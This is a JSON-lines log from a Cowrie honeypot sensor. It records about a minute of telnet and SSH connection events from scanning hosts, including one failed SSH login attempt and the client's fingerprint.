{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":43554,"dst_ip":"10.17.0.5","dst_port":23,"session":"8b7662e35511","protocol":"telnet","message":"New connection: 62.210.97.77:43554 (10.17.0.5:23) [session: 8b7662e35511]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:42:31.012019Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":43556,"dst_ip":"10.17.0.5","dst_port":23,"session":"5db557d4ccf2","protocol":"telnet","message":"New connection: 62.210.97.77:43556 (10.17.0.5:23) [session: 5db557d4ccf2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:42:31.135877Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":52000,"dst_ip":"10.17.0.5","dst_port":23,"session":"a2fab806b3be","protocol":"telnet","message":"New connection: 38.54.119.93:52000 (10.17.0.5:23) [session: a2fab806b3be]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:42:32.425293Z"}
{"eventid":"cowrie.session.closed","duration":36.79281544685364,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:42:33.278328Z","src_ip":"62.210.97.77","session":"6f1900909750","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":51000,"dst_ip":"10.17.0.5","dst_port":23,"session":"3c6245d6495d","protocol":"telnet","message":"New connection: 38.54.119.93:51000 (10.17.0.5:23) [session: 3c6245d6495d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:42:34.176495Z"}
{"eventid":"cowrie.session.closed","duration":34.138489961624146,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:42:34.800193Z","src_ip":"62.210.97.77","session":"7e2a9f31d3bf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.021292448043823,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:42:35.067899Z","src_ip":"62.210.97.77","session":"9c9a1b74cef8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.4534215927124,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:42:36.365196Z","src_ip":"62.210.97.77","session":"788823dedc9e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":2.3164331912994385,"message":"Connection lost after 2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:42:36.492830Z","src_ip":"38.54.119.93","session":"3c6245d6495d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":43568,"dst_ip":"10.17.0.5","dst_port":23,"session":"eb55b21ecdad","protocol":"telnet","message":"New connection: 62.210.97.77:43568 (10.17.0.5:23) [session: eb55b21ecdad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:42:37.845755Z"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":41440,"dst_ip":"10.17.0.5","dst_port":23,"session":"66ce2f2acf34","protocol":"telnet","message":"New connection: 65.60.27.33:41440 (10.17.0.5:23) [session: 66ce2f2acf34]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:42:38.114470Z"}
{"eventid":"cowrie.session.closed","duration":35.56574845314026,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:42:38.310548Z","src_ip":"62.210.97.77","session":"553ef067f204","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":46578,"dst_ip":"10.17.0.5","dst_port":23,"session":"9c3e0ed9eaa8","protocol":"telnet","message":"New connection: 62.210.97.77:46578 (10.17.0.5:23) [session: 9c3e0ed9eaa8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:42:40.468537Z"}
{"eventid":"cowrie.session.closed","duration":37.216689586639404,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:42:41.581237Z","src_ip":"65.60.27.33","session":"4830383e4e6d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":45680,"dst_ip":"159.203.135.109","dst_port":23,"session":"6d6432864972","protocol":"telnet","message":"New connection: 134.209.8.29:45680 (159.203.135.109:23) [session: 6d6432864972]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:42:42.190922Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":46592,"dst_ip":"10.17.0.5","dst_port":23,"session":"0fca2d2f61d5","protocol":"telnet","message":"New connection: 62.210.97.77:46592 (10.17.0.5:23) [session: 0fca2d2f61d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:42:42.623151Z"}
{"eventid":"cowrie.session.closed","duration":1.6266591548919678,"message":"Connection lost after 1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:42:43.817451Z","src_ip":"134.209.8.29","session":"6d6432864972","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":46596,"dst_ip":"10.17.0.5","dst_port":23,"session":"30f20cc2cedb","protocol":"telnet","message":"New connection: 62.210.97.77:46596 (10.17.0.5:23) [session: 30f20cc2cedb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:42:44.492414Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":46610,"dst_ip":"10.17.0.5","dst_port":23,"session":"ac4eba02e0a9","protocol":"telnet","message":"New connection: 62.210.97.77:46610 (10.17.0.5:23) [session: ac4eba02e0a9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:42:44.680407Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":46626,"dst_ip":"10.17.0.5","dst_port":23,"session":"06367afeaba6","protocol":"telnet","message":"New connection: 62.210.97.77:46626 (10.17.0.5:23) [session: 06367afeaba6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:42:44.714846Z"}
{"eventid":"cowrie.session.closed","duration":32.29987096786499,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:42:45.430136Z","src_ip":"62.210.97.77","session":"6e8c39532cb4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":50536,"dst_ip":"10.17.0.5","dst_port":23,"session":"559fb9e2951a","protocol":"telnet","message":"New connection: 62.210.97.77:50536 (10.17.0.5:23) [session: 559fb9e2951a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:42:48.668561Z"}
{"eventid":"cowrie.session.closed","duration":43.38750195503235,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:42:49.546097Z","src_ip":"65.60.27.33","session":"2af96fc29794","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":50540,"dst_ip":"10.17.0.5","dst_port":23,"session":"ef5c0b807486","protocol":"telnet","message":"New connection: 62.210.97.77:50540 (10.17.0.5:23) [session: ef5c0b807486]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:42:49.744209Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":50546,"dst_ip":"10.17.0.5","dst_port":23,"session":"8c4fc4f13ce1","protocol":"telnet","message":"New connection: 62.210.97.77:50546 (10.17.0.5:23) [session: 8c4fc4f13ce1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:42:50.343504Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":50558,"dst_ip":"10.17.0.5","dst_port":23,"session":"2bb19dc9b912","protocol":"telnet","message":"New connection: 62.210.97.77:50558 (10.17.0.5:23) [session: 2bb19dc9b912]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:42:51.404682Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":50258,"dst_ip":"10.17.0.5","dst_port":23,"session":"a71a344fcd0f","protocol":"telnet","message":"New connection: 165.232.131.181:50258 (10.17.0.5:23) [session: a71a344fcd0f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:42:51.409122Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":50610,"dst_ip":"10.17.0.5","dst_port":23,"session":"903d4fa70c1a","protocol":"telnet","message":"New connection: 165.232.131.181:50610 (10.17.0.5:23) [session: 903d4fa70c1a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:42:52.419117Z"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":58528,"dst_ip":"10.17.0.5","dst_port":23,"session":"d78142db3d18","protocol":"telnet","message":"New connection: 65.60.27.33:58528 (10.17.0.5:23) [session: d78142db3d18]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:42:53.529130Z"}
{"eventid":"cowrie.session.closed","duration":37.323047161102295,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:42:54.187322Z","src_ip":"65.60.27.33","session":"510c46da1940","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":50564,"dst_ip":"10.17.0.5","dst_port":23,"session":"7cd554491e49","protocol":"telnet","message":"New connection: 62.210.97.77:50564 (10.17.0.5:23) [session: 7cd554491e49]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:42:54.210576Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":50568,"dst_ip":"10.17.0.5","dst_port":23,"session":"b4c1528d9b3b","protocol":"telnet","message":"New connection: 62.210.97.77:50568 (10.17.0.5:23) [session: b4c1528d9b3b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:42:55.047087Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":50576,"dst_ip":"10.17.0.5","dst_port":23,"session":"fb581a81fb3f","protocol":"telnet","message":"New connection: 62.210.97.77:50576 (10.17.0.5:23) [session: fb581a81fb3f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:42:55.428296Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":50578,"dst_ip":"10.17.0.5","dst_port":23,"session":"7ab20a852de3","protocol":"telnet","message":"New connection: 62.210.97.77:50578 (10.17.0.5:23) [session: 7ab20a852de3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:42:55.551092Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":51638,"dst_ip":"10.17.0.5","dst_port":23,"session":"ae0b17f65ad4","protocol":"telnet","message":"New connection: 165.232.131.181:51638 (10.17.0.5:23) [session: ae0b17f65ad4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:42:56.228938Z"}
{"eventid":"cowrie.session.closed","duration":34.91399693489075,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:42:57.006446Z","src_ip":"62.210.97.77","session":"07b8645a2dc4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":50594,"dst_ip":"10.17.0.5","dst_port":23,"session":"b37f72138db4","protocol":"telnet","message":"New connection: 62.210.97.77:50594 (10.17.0.5:23) [session: b37f72138db4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:42:57.292747Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":52848,"dst_ip":"10.17.0.5","dst_port":23,"session":"6b873a4ef708","protocol":"telnet","message":"New connection: 165.232.131.181:52848 (10.17.0.5:23) [session: 6b873a4ef708]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:42:59.485566Z"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":36576,"dst_ip":"10.17.0.5","dst_port":23,"session":"fe7847fa356a","protocol":"telnet","message":"New connection: 65.60.27.33:36576 (10.17.0.5:23) [session: fe7847fa356a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:42:59.994157Z"}
{"eventid":"cowrie.session.closed","duration":36.81150531768799,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:43:00.111324Z","src_ip":"62.210.97.77","session":"6e7a6f5268d3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":51962,"dst_ip":"10.17.0.5","dst_port":23,"session":"7881346fab7b","protocol":"telnet","message":"New connection: 62.210.97.77:51962 (10.17.0.5:23) [session: 7881346fab7b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:43:00.870559Z"}
{"eventid":"cowrie.session.connect","src_ip":"156.232.13.218","src_port":33156,"dst_ip":"10.17.0.5","dst_port":22,"session":"d1c38e9cb6c3","protocol":"ssh","message":"New connection: 156.232.13.218:33156 (10.17.0.5:22) [session: d1c38e9cb6c3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:43:00.933534Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:43:00.943634Z","src_ip":"156.232.13.218","session":"d1c38e9cb6c3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:43:01.020323Z","src_ip":"156.232.13.218","session":"d1c38e9cb6c3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":39178,"dst_ip":"10.17.0.5","dst_port":23,"session":"6af2ca261adb","protocol":"telnet","message":"New connection: 65.60.27.33:39178 (10.17.0.5:23) [session: 6af2ca261adb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:43:01.229517Z"}
{"eventid":"cowrie.login.failed","username":"dev","password":"dev12","message":"login attempt [dev/dev12] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:43:01.347636Z","src_ip":"156.232.13.218","session":"d1c38e9cb6c3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:43:02.426485Z","src_ip":"156.232.13.218","session":"d1c38e9cb6c3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":51968,"dst_ip":"10.17.0.5","dst_port":23,"session":"e0014ee1136e","protocol":"telnet","message":"New connection: 62.210.97.77:51968 (10.17.0.5:23) [session: e0014ee1136e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:43:03.016207Z"}
{"eventid":"cowrie.session.closed","duration":33.873701095581055,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:43:03.090935Z","src_ip":"62.210.97.77","session":"773a0dc71636","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.70232009887695,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:43:03.417757Z","src_ip":"165.232.131.181","session":"d93c89837113","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.156463384628296,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:43:04.391111Z","src_ip":"62.210.97.77","session":"b75a8e56a876","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.53762125968933,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:43:04.960410Z","src_ip":"62.210.97.77","session":"d6215f913a88","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":51984,"dst_ip":"10.17.0.5","dst_port":23,"session":"018a37615c6d","protocol":"telnet","message":"New connection: 62.210.97.77:51984 (10.17.0.5:23) [session: 018a37615c6d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:43:05.266443Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":51988,"dst_ip":"10.17.0.5","dst_port":23,"session":"dcddb5cc31c3","protocol":"telnet","message":"New connection: 62.210.97.77:51988 (10.17.0.5:23) [session: dcddb5cc31c3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:43:05.384521Z"}
{"eventid":"cowrie.session.closed","duration":39.98255896568298,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:43:07.529474Z","src_ip":"62.210.97.77","session":"8e0b416831f5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":51996,"dst_ip":"10.17.0.5","dst_port":23,"session":"784cbd826463","protocol":"telnet","message":"New connection: 62.210.97.77:51996 (10.17.0.5:23) [session: 784cbd826463]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:43:08.249402Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":56544,"dst_ip":"10.17.0.5","dst_port":23,"session":"9c1380f45fb0","protocol":"telnet","message":"New connection: 165.232.131.181:56544 (10.17.0.5:23) [session: 9c1380f45fb0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:43:09.868668Z"}
{"eventid":"cowrie.session.closed","duration":39.03987383842468,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:43:10.051798Z","src_ip":"62.210.97.77","session":"8b7662e35511","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.59241986274719,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:43:10.728194Z","src_ip":"62.210.97.77","session":"5db557d4ccf2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.34730052947998,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:43:10.926203Z","src_ip":"65.60.27.33","session":"c45c500c759d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.755332469940186,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:43:11.600993Z","src_ip":"62.210.97.77","session":"eb55b21ecdad","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":44334,"dst_ip":"159.203.135.109","dst_port":23,"session":"c5275765d628","protocol":"telnet","message":"New connection: 134.209.8.29:44334 (159.203.135.109:23) [session: c5275765d628]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:43:12.430456Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":44446,"dst_ip":"10.17.0.5","dst_port":23,"session":"7664da4bb842","protocol":"telnet","message":"New connection: 62.210.97.77:44446 (10.17.0.5:23) [session: 7664da4bb842]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:43:12.946625Z"}
{"eventid":"cowrie.session.closed","duration":31.520550966262817,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:43:14.143594Z","src_ip":"62.210.97.77","session":"0fca2d2f61d5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":51.854918003082275,"message":"Connection lost after 51 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:43:14.390407Z","src_ip":"165.232.131.181","session":"06056e49bf2f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":55168,"dst_ip":"10.17.0.5","dst_port":23,"session":"e37c70ae8a15","protocol":"telnet","message":"New connection: 65.60.27.33:55168 (10.17.0.5:23) [session: e37c70ae8a15]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:43:15.984495Z"}
{"eventid":"cowrie.session.closed","duration":36.53064680099487,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:43:16.999042Z","src_ip":"62.210.97.77","session":"9c3e0ed9eaa8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":45.33430457115173,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:43:17.759503Z","src_ip":"38.54.119.93","session":"a2fab806b3be","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.059009075164795,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:43:18.551290Z","src_ip":"62.210.97.77","session":"30f20cc2cedb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":58644,"dst_ip":"10.17.0.5","dst_port":23,"session":"2afb54b743d3","protocol":"telnet","message":"New connection: 65.60.27.33:58644 (10.17.0.5:23) [session: 2afb54b743d3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:43:18.948109Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":59998,"dst_ip":"10.17.0.5","dst_port":23,"session":"7dc6715938ba","protocol":"telnet","message":"New connection: 165.232.131.181:59998 (10.17.0.5:23) [session: 7dc6715938ba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:43:19.588829Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":40412,"dst_ip":"10.17.0.5","dst_port":23,"session":"2385da9a8c92","protocol":"telnet","message":"New connection: 62.210.97.77:40412 (10.17.0.5:23) [session: 2385da9a8c92]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:43:20.396619Z"}
{"eventid":"cowrie.session.closed","duration":42.79336595535278,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:43:20.907712Z","src_ip":"65.60.27.33","session":"66ce2f2acf34","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":33000,"dst_ip":"10.17.0.5","dst_port":23,"session":"05942ce4d12d","protocol":"telnet","message":"New connection: 65.60.27.33:33000 (10.17.0.5:23) [session: 05942ce4d12d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:43:21.280637Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":40416,"dst_ip":"10.17.0.5","dst_port":23,"session":"947546f6c4b6","protocol":"telnet","message":"New connection: 62.210.97.77:40416 (10.17.0.5:23) [session: 947546f6c4b6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:43:21.453229Z"}
